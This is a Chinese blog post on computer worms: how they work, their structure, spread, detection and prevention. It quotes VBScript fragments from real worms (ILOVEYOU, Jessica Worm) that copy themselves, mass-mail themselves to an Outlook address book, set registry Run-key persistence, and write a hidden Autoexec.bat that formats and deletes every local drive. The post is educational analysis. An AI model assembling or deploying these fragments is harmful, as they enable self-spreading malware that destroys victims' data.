蠕虫病毒

参考链接: https://blog.csdn.net/vinep/article/details/3899696.

原理

  • 蠕虫是一种可以自我复制的代码,并且通过网络传播,通常无需人为干预就能传播。蠕虫病毒入侵并完全控制一台计算机之后,就会把这台机器作为宿主,进而扫描并感染其他计算机。当这些新的被蠕虫入侵的计算机被控制之后,蠕虫会以这些计算机为宿主继续扫描并感染其他计算机,这种行为会一直延续下去。

结构

蠕虫的基本程序结构为:

1、传播模块:负责蠕虫的传播,这是本文要讨论的部分。

2、隐藏模块:侵入主机后,隐藏蠕虫程序,防止被用户发现。

3、目的功能模块:实现对计算机的控制、监视或破坏等功能。

特征

1.使用udp协议传播,传播速度快,传播面积广
2.蠕虫感染系统后,只驻留内存不在硬盘上写任何文件
3.由于发送大量的udp包会产生巨大的网络流量,造成Dos拒绝服务攻击

传播

蠕虫程序的一般传播过程为:

1.扫描:由蠕虫的扫描功能模块负责探测存在漏洞的主机。当程序向某个主机发送探测漏洞的信息并收到成功的反馈信息后,就得到一个可传播的对象。

2.攻击:攻击模块按漏洞攻击步骤自动攻击步骤1中找到的对象,取得该主机的权限。

3.复制:复制模块通过原主机和新主机的交互将蠕虫程序复制到新主机并启动。

入侵过程

  1. 中病毒的主机扫描周围主机的漏洞,找到可利用的漏洞
  2. 针对漏洞攻击主机,获得管理员权限
  3. 在主机上安装后门、跳板、控制端、监视器等等,清除日志

检测技术

  1. 基于特征的检测
  2. 基于语义的检测
  3. 防火墙流量控制

防范措施

  1. 选购合适的杀毒软件。
  2. 经常升级病毒库
  3. 不乱点陌生邮件等

常见的蠕虫

转载链接: https://blog.51cto.com/wangxiang2010/143269

实例分析

转载链接: http://blog.sina.com.cn/s/blog_4e41d2090100a1sr.html.

一、蠕虫病毒具有自我复制能力

  •   Set objFs=CreateObject (“Scripting.FileSystemObject”    创建一个文件系统对象
      objFs.CreateTextFile ("C:\virus.txt", 1) 通过文件系统对象的方法创建了一个TXT文件。 
    

如果我们把这两句话保存成为.vbs的VB脚本文件,点击就会在C盘中创建一个TXT文件了。倘若我们把第二句改为:objFs.GetFile (WScript.ScriptFullName).Copy (“C:\virus.vbs”)
本句前面是打开这个脚本文件,WScript.ScriptFullName指明是这个程序本身,是一个完整的路径文件名。
GetFile函数获得这个文件,Copy函数将这个文件复制到C盘根目录下virus.vbs这个文件。
这么简单的两句就实现了自我复制的功能,已经具备病毒的基本特征――自我复制能力。

二、蠕虫病毒具有很强的传播性

  • 病毒需要传播,电子邮件病毒的传播无疑是通过电子邮件传播的。对于OutLook来说地址簿的功能相当不错,可是也给病毒的传播打开了方便之门。几乎所有通过OutLook传播的电子邮件病毒都是向地址簿中存储的电子邮件地址发送内同相同的脚本附件完成的。看看如下的代码:

     Set objOA=Wscript.CreateObject ("Outlook.Application")'创建一个OUTLOOK应用的对象
     Set objMapi=objOA.GetNameSpace ("MAPI")'取得MAPI名字空间
     For i=1 to objMapi.AddressLists.Count'遍历地址簿
     Set objAddList=objMapi.AddressLists (i)
     For j=1 To objAddList. AddressEntries.Count
     Set objMail=objOA.CreateItem (0)
     objMail.Recipients.Add (objAddList. AddressEntries (j))'取得收件人邮件地址
     objMail.Subject="你好!"'设置邮件主题
     objMail.Body="这次给你的附件,是我的新文档!"'设置信件内容
     objMail.Attachments.Add (“c:\virus.vbs")'把自己作为附件扩散出去
     objMail.Send'发送邮件
     Next
     Next
     Set objMapi=Nothing'清空objMapi变量,释放资源,值得学习的编程习惯
     Set objOA=Nothing'清空objOA变量 
    

这一小段代码的功能是向地址簿中的用户发送电子邮件,并将自己作为附件扩散出去。这段代码中的第一行是创建一个Outlook的对象,是必不可少的。在其下是一个循环,在循环中不断地向地址簿中的电子邮件地址发送内容相同的信件。蠕虫病毒就是这样进行传播的。

三、蠕虫病毒具有一定的潜伏性

要使病毒潜伏,对于“脚本”语言并不是很难的一件事,因为这种语言并不是面向对象的可视化编程,自然就不存在窗体,所以可以免去隐藏窗体的麻烦。从I love you病毒中,很容易看出蠕虫病毒在潜伏时的特点,它们多数是修改注册表等信息以判断各种条件及取消一些限制。以下是从I love you病毒中提取出的部分代码:

  •   On Error Resume Next  '容错语句,避免程序崩溃
      dim wscr,rr
      set wscr=CreateObject ("WScript.Shell")'击活 WScript.Shell 对象
      rr=wscr.RegRead ("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting 															Host\Settings\Timeout")'读入注册表中的超时键值
      if (rr>=1) then'超时设置
      wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
      end if 
      修改注册表,使得每次系统启动自动执行脚本:	
      regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
      regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs" 
    

四、蠕虫病毒具有特定的触发性

  • 在这里我们以时间触发为例,使用一个很简单的判断程序,来判断时间到了没有,如果有就开始执行代码。好,我们看看程序:
  •   x=time ()
      if x=xx.xx.xx then
      …………
      end if 
    

就这么简单一个程序,就可以实现特定条件触发事件的目的。当然了,病毒制作者还可以通过监视运行某个程序而触发事件,也可以响应键盘触发事件等等。

五、蠕虫病毒具有很大的破坏性

蠕虫病毒的破坏性大家都有所了解吧?我们以著名的蠕虫病毒Jessica Worm中的部分破坏代码为例来加以分析说明:

  •   sub killc ()'破坏硬盘的过程
      On Error Resume Next'容错语句,避免程序崩溃
      dim fs,auto,disc,ds,ss,i,x,dir
      Set fs = CreateObject ("Scripting.FileSystemObject")
      Set auto = fs.CreateTextFile ("c:\Autoexec.bat", True)'建立或修改自动批处理
      auto.WriteLine ("@echo off")'屏蔽掉删除的进程
      auto.WriteLine ("Smartdrv")'加载磁盘缓冲,好毒啊!
      Set disc = fs.Drives'得到驱动器的集合
      For Each ds in disc
      If ds.DriveType = 2 Then'如果驱动器是本地盘
      ss = ss & ds.DriveLetter'就将符号连在一起
      End if
      Next
      ss=LCase (StrReverse (Trim (ss)))'得到符号串的反向小写形式
      For i=1 to Len (ss)'遍历每个驱动器
      x=Mid (ss,i,1)'读每个驱动器的符号
      auto.WriteLine ("format/autotest/q/u "&x&":")'反向 (从Z:到A:)自动格式化驱动器,狠毒啊!
      next
      For i=1 to Len (ss)
      x=Mid (ss,i,1)
      auto.WriteLine ("deltree/y "&x&":")'怕Format失效用Deltree双保险
      next
      auto.Close'关闭批处理文件
      set dir=fs.GetFile ("c:\Autoexec.bat")
      dir.attributes=dir.attributes+2'将自动批处理文件改为隐藏
      End sub 
    
  • 2
    点赞
  • 34
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Linux蠕虫病毒源码是指能够在Linux操作系统上自我复制和传播的恶意程序的源代码。蠕虫病毒通常通过利用漏洞或安全弱点,自动感染其他系统。它们可以在网络中快速传播,对系统造成严重的破坏。 一个典型的Linux蠕虫病毒源码可能包含以下几个关键部分: 1. 传播机制:蠕虫病毒源码将包含感染其他系统的方法,以便快速传播。它可能会扫描网络中的其他主机,尝试利用已知的漏洞来感染其他系统。 2. 自我复制:蠕虫病毒源码会包含自我复制代码,以确保能够在被感染的系统上自动复制和传播。它可能会创建自身的副本,并在网络上寻找其他脆弱的系统来传播。 3. 隐藏功能:蠕虫病毒源码可能会包含各种隐藏功能,以逃避检测和反病毒软件的识别。它可以使用加密技术或其他方法来隐藏自己的存在,使其更难以检测和删除。 4. 攻击载荷:一些蠕虫病毒源码还可能包含额外的恶意功能,例如拒绝服务攻击、信息窃取等。它们可以利用已感染系统的资源来进行攻击或滥用,造成更大的危害。 为应对这种威胁,用户和系统管理员可以采取以下一些预防措施: 1. 及时更新系统和软件补丁,以修复已知的漏洞。 2. 安装和更新防病毒软件,以及防火墙等安全工具,以检测和阻止恶意程序的传播。 3. 避免点击或打开来自不可信来源的链接、附件或文件。 4. 实施强密码策略和多因素身份验证,以增强系统的安全性。 5. 定期备份数据,以便在遭受蠕虫病毒或其他安全事件时能够快速恢复。 总之,在面对不断进化的安全威胁时,保持系统和软件的最新状态、增强安全意识以及采取适当的安全措施是至关重要的。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值